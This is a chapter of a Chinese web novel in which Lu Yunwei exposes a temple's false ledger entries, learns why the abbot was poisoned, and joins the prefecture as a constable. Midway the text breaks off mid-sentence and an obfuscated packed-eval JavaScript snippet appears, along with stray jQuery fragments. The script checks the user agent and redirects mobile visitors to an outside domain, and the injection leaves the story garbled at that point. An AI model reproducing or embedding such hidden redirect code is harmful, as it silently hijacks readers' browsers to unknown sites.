自打住进周家，周娘子嘴里虽常骂着那早早走了的死鬼撇下她们孤儿寡母，陆云蔚却看得分明，这是个嘴硬心软的人。


    动筷子前，总要先往亡夫的牌位前摆上一碗。有回被陆云蔚瞧见了，向来泼辣的周娘子反倒有些腼腆，嗔她一眼：“总不能叫他在地底下做个饿死鬼。”


    昨日周娘子一早带着女儿去亡夫坟前，供了整整一碟不落夹，陆云蔚怕她误了生意，自告奋勇去庙市抢摊位。


    若是周大姚没死……


    奇的是，寺里大大小小的僧众盘查了一遍，不仅没找到周大姚，竟连一个真正认得此人的都没有。火工房的工头是三年前才来寺里的，算起来那时候周大姚“死”了小半年。偶有几个年长的僧人含糊提起，似乎记得曾有个姓周的火工，但再问下去，便都是摇头，说不上了。


    既然如此，那上月领用灯油的是谁？


    韩濯陪着陆云蔚一圈一圈打听，问了个遍，竟连个影子都没摸着，此刻少爷脾气上来，揪着库房管事的领子不放：“横竖不能是鬼吧？鬼也用不着点灯。”


    那库管脸都涨红了，憋了半天也吐不出个合理解释。


    陆云蔚低头又翻了翻账册，只见腊月那页白纸黑字清清楚楚写着：“十八日，周大姚，领柴五斤、米两斤、灯油半斤。”再往前翻，每月竟都有周大姚的领用记录，一年到头从未落下。


    她将册子往桌上一搁，怒极反笑，“周大姚过世已有四载，每月却还能来库里领东西，你若说不是你擅改账目假借死者之名贪墨，那这些米柴灯油是被鬼搬走了？”


    “擅改寺产账目、侵吞柴米，属侵蚀公用之物，按赃数定刑，轻则罚银，重则交僧录司处置。”昨夜她翻过律例规条，知道纵然是方外之人，也并不能做法外狂徒。


    见陆云蔚真要把人押去僧录司，库管连忙讨饶，竹筒倒豆子似的，一股脑全招了出来。


    原来寺中每月按人头分发米粮灯油等诸般供给，护国寺地广僧多，清修之人日常所需并不算多，按理说香火钱和佃租足够用度。


    偏偏这两年账上越来越吃紧，时不时支不出银子来。


    “我也疑心过账目不对劲”库管低着头，“可账是法堂执事管着的，那人一时说年成不好免了租子，一时又说拿出去赈济灾民了，左右就是拿不出钱。”


    后来住持便找上他，让他每月虚报些领用，私下再由住持打点人手运出寺外，换些银子贴补亏空。


    “账册我看过，没有这回事情。”知情人死的死、失踪的失踪，陆云蔚疑心这库管没说实话，空口白牙一张嘴，难保不是想把事推得干干净净。


    “自然不是庙里的账。”见陆云蔚不信，库管连忙解释，“是那执事另有一本私账，平日里藏得紧，我是有一回瞧见他在禅房里往柜子深处藏些什么，料想账本定然藏在那里。”


    怕是专门偷看的吧，陆云蔚心里腹诽，面上却懒得点破。


    “那你认识周大姚吗？”


    “……并不认识”库管摇了摇头，“名字是住持原先写给我的，我只照着抄上去了，真不知是何人。小的也不过是听命行事，旁的也不敢多问。”


    陆云蔚让他把这几年虚报过的名字一一写出来，多是些年头久远的名字，还有些是原本的小工杂役，早就没人记得，名字却还在册上，最是方便拿来顶数。


    再看用量，每月少说也有二三十人份的油米香火，若全都卖了出去，这几年下来住持怕是私下捞了上千两银子。


    带着名单，陆云蔚回了趟斋娘巷。


    一进门，周娘子就迎了过来，身上围裙都来不及解：“陆妹子可算是回来了！昨个一夜没见人，我心里就跟猫挠似的翻来覆去睡不着。早知如此，昨日说什么也该等等你的。”她一气儿说了好些，眼圈也泛了红。


    正是早膳的时候，周娘子一听她还饿着，赶忙从锅里舀了碗热粥，又取了两块不落夹，麻利地递过来。


    陆云蔚一边接过，一边问她今日怎么还没出摊。


    “你是不知道，今儿巷子里都炸开锅了！”周娘子这才道，坊间都传疯了，说住持横死定是犯了什么忌讳，还有人说那庙里不干净有妖气，连铜佛都挡不住。添油加醋说什么的都有，斋娘巷里不少人家靠着庙市吃饭，这事一闹，哪个还有心思做生意。


    她越说越起劲，嗓门也跟着拔高了，陆云蔚熬了一宿，此时听得头晕眼胀。见周娘子终于歇了口气，赶忙掏出名单念给她听。


    周娘子常年做买卖，一听便认出里头有不少都是附近巷子的人，好几个早些年就没了，还有些应是搬走了，几年都没露过面。


    念到周大姚，陆云蔚磕绊了下。


    周娘子的脸色顿时就不对了，“这是哪门子的册子？”，她只好将护国寺的事简略说了，边说边暗中观察对面人的神色。


    周娘子先是愣住了，旋即拍桌而起：“天杀的东西！我男人是我亲手埋的，还能月月跑出来领东西？要是他真能出来，这些年怎么连个梦都没托回来？”


    “这帮人当年眼睁睁看着我们娘俩锅都揭不开，连个屁都不肯放一个，如今倒拿着死人作筏子！”


    当年周大姚得了痨病，家里银钱为了治病早花得一干二净，周娘子红着眼讲起旧事，说那时她实在没法子，托人求到护国寺门上去，想着不求银子，哪怕给口水米也成，谁知竟被拒绝了，只说是与寺里无关。


    如今听闻丈夫人都走了还不得安宁，周娘子气不打一处来。


    陆云蔚默默将这事在心头过了一遍，又请周娘子指认了一年内过世或离开的人名。两人正说着，便听见院外小桃枝咯咯直笑。


    “这屁孩子，成日就知道在巷子里疯玩。”周娘子抱怨了两句，陆云蔚却知晓她是此时心绪不宁，平日里可舍不得骂小桃枝。


    巷子里今日空荡荡的，大人们都没了出摊的心思，倒是孩子们不晓事，一窝蜂聚在一块儿，比平日里更闹腾。笑声一阵阵，陆云蔚听着也不自觉轻松了几分。


    她带着点不自知的笑意刚跨出门槛。


    忽然一愣。


    韩濯蹲在巷口，身边围了群小不点闹哄哄地玩骑马打仗。肩上还架着个五六岁的娃娃，咧着嘴笑得正欢。


    见她出来，他拍了拍那孩子的头将人放回地上，抬头冲她一笑：“你可算出来啦。”


    陆云蔚心里忍不住叹了口气，果然是近来太松懈了，竟叫人跟在后头一路都没察觉。


    她不吭声，韩濯便立刻慌了神，忙不迭解释：“这两天乱得紧，那凶手指不定就在附近，你一个人出来我有些不放心，才偷偷跟上来了。”话是说得理直气壮，韩濯心里却明白，自己多少有点心虚。


    陆云蔚倒不是个不讲理的，听他这么说，也不愿再多计较，淡淡应了声谢，又叮嘱一句：“下回别这样，危不危险的，我心里有数。”真要遇见凶手，她和韩濯指不定谁更危险，到时她还得分神去救韩濯。


    知道他对这案子也上心，她也没藏着掖着，把方才的线索低声讲给他听。


    她猜，多半是有人撞破了住持背地里的勾当，或者说不准也像周娘子那样受过类似的委屈。所以不光要泄恨，更想让那人身败名裂。


    “为什么只查这一年内出事的人？”


    陆云蔚一时间不知该怎么解释。


    快意恩仇，那是话本里编出来给人解气的。有些事当时横在心头喘不过气来，可三五年一过，再回头看，居然也就那样过去了。


    那口气也不是一下子散的，是一天天哭着、忍着、咬牙咽回肚里头，最后连自己都不知什么时候熬没了。


    周娘子心里就没怨吗？怎会没有。可她还有个小桃枝，要吃要穿，要长大。不是她不想报仇，而是光活着就耗费了全部力气。


    仇恨对于穷人来说，是极奢侈的。


    这些话，韩濯这个锦衣玉食长大的公子哥，大概是听得懂，却未必真能体会，陆云蔚便没有说出口。只道是凶手报仇心切，且一年内的也好追查，若是找不着再往大里查。


    回到寺里，陆云蔚把她的猜测一五一十地告诉了孙推官。孙推官眼睛一亮，急忙指派人手分头去查。


    寻到第四户，终于有了动静。


    衙役才敲了两下门，里头就走出个十七八岁的少年，看他那神情，像是早就等着这一天。


    还没等问话，便自己开口承认了。


    少年姓李，他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494786|169878||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    爹原是寺里的杂役，那天他爹被送回家的时候，背上血淋淋全是鞭痕，送他爹回来的那人只说是不慎得罪了贵客，留下十两银子匆匆就离开了。伤得太重，当晚人就没救回来，母亲本就体弱，心力交瘁，没几天也病逝了。


    这孩子心里憋了一团火，改头换面混进护国寺，当日将送人回来的正是法堂执事，他偷偷跟了月余，终于发现了住持和执事之间的猫腻，当下便推测，他爹应是撞破了什么秘密，才遭此毒手。


    “你是怎么下毒的？”陆云蔚问道。


    这少年异常平静道：“我平日就在法器库外洒扫，知道维那取法器的规矩。而且除非浴佛法会，平日也用不到木杓，所以偷拿出去找宛平的木匠做了一把一模一样的，又故意没让好好打磨，回来后再将木杓泡在毒药里泡上几日，一切准备停当，我就悄悄溜进维那禅房把两柄木杓换了过来。”


    陆云蔚恍然，难怪仵作说住持的手掌上也有些许毒物，原来不只是木刺有毒，整把木杓都有毒，这个少年倒是够谨慎。


    见血封喉的毒药想来并不好买到，少年却一口咬定是找游医买的。


    “蜡丸也是你放进去的？”她又问。


    少年点头，屠户那边不好买，他特意跑到附近田庄，看有没有家里杀猪的，正巧碰上了。那地方倒也不远，派去的人一个时辰不到便回来了，确实如少年说的那样，因他单独买猪血，那农户印象深刻。


    至此，这案子算是真相大白了。


    虽说陆云蔚心里还有些疑惑，路边随便的游医手头就有毒药？但见孙推官已着人将这少年押回去听审，她也就没多追问，只将这事同对方提了提。后头的事，便不是她能插得上手的了。


    而且比起这个问题，陆云蔚更好奇另一件事。


    按假和尚鲁槟和库管的说法，住持这些年倒卖假度牒，那些底册上对不上的度僧，应是买了假度牒，有的杂役攒够了钱也能买上一张，反正只消在底册上改了就行。


    可银子呢？那么大一笔钱，难道凭空消失了？


    她从执事屋里翻到了真账册，这人竟在衣橱里造了个隔板，一眼望去没有异样，还是她发现板子声音不对劲才找见了地方，至于丈室，孙推官也着人细细搜检过，分文没有，也没有银票等物件。


    再者，度牒后来改为绢本，照理说极难仿造，住持究竟怎么做到的？见这些事孙推官像故意避开似的，提都不愿多提一句，陆云蔚自然也不好戳破。


    左右无事，她正打算走人，却被孙推官连声叫住。


    竟是问她想不想去顺天府当捕快。


    陆云蔚也是来了之后才发现，虽说这是本古早虐文，但女子也可为官，开国初期便试行女吏试，允许通文墨、晓律法的女子通过考核入职六部或地方衙门。但顺天府这地儿饷银少、案子多，还得常年在外头跑，风吹日晒不说，说不定还得搏命，即便有女吏想来，多半也会被家人拦住。


    本就人手极为短缺，当朝皇后又下诏凡涉宗室女眷案件，必须有女吏在场，这可愁坏了府丞大人，隔三岔五跑去吏部和刑部要人，但也没个结果。


    陆云蔚明白了，这是钱少事多不好招人。不过她原也琢磨着找个营生，此时专业对口，便痛快答应了。


    但报名需要有人作保，她一时半刻找不到合适人选。一旁听了好半天的韩濯，眼看机会来了，立刻开口：“我啊！我替你作保。”


    陆云蔚瞥他一眼，实在搞不懂这人哪来的热情，“保人牵扯太多，韩公子与我不过初识，怎好作保？若我做得不好，岂不是连累了你？”


    韩濯却像听不懂她的拒绝，毫不犹豫道：“我替你作保，我都不怕，你还怕什么？”


    孙推官闻言呵呵一笑，“哪里还需要韩公子出面？老朽自能作保，陆姑娘不输那些积年的老捕头，若真能入我顺天府，也是幸事。”


    如此一来，事情便敲定下来。其他科目她倒不怕，唯独律法这一门有些吃力。报名那天，她厚着脸皮跟孙推官借了一堆律法书，之后几日窝在屋里闷头苦读，连门都没怎么出。


    到了五月中旬，陆云蔚顺利过了考核。放榜那天，周娘子替她放了两挂鞭炮，喜得像自己中了状元。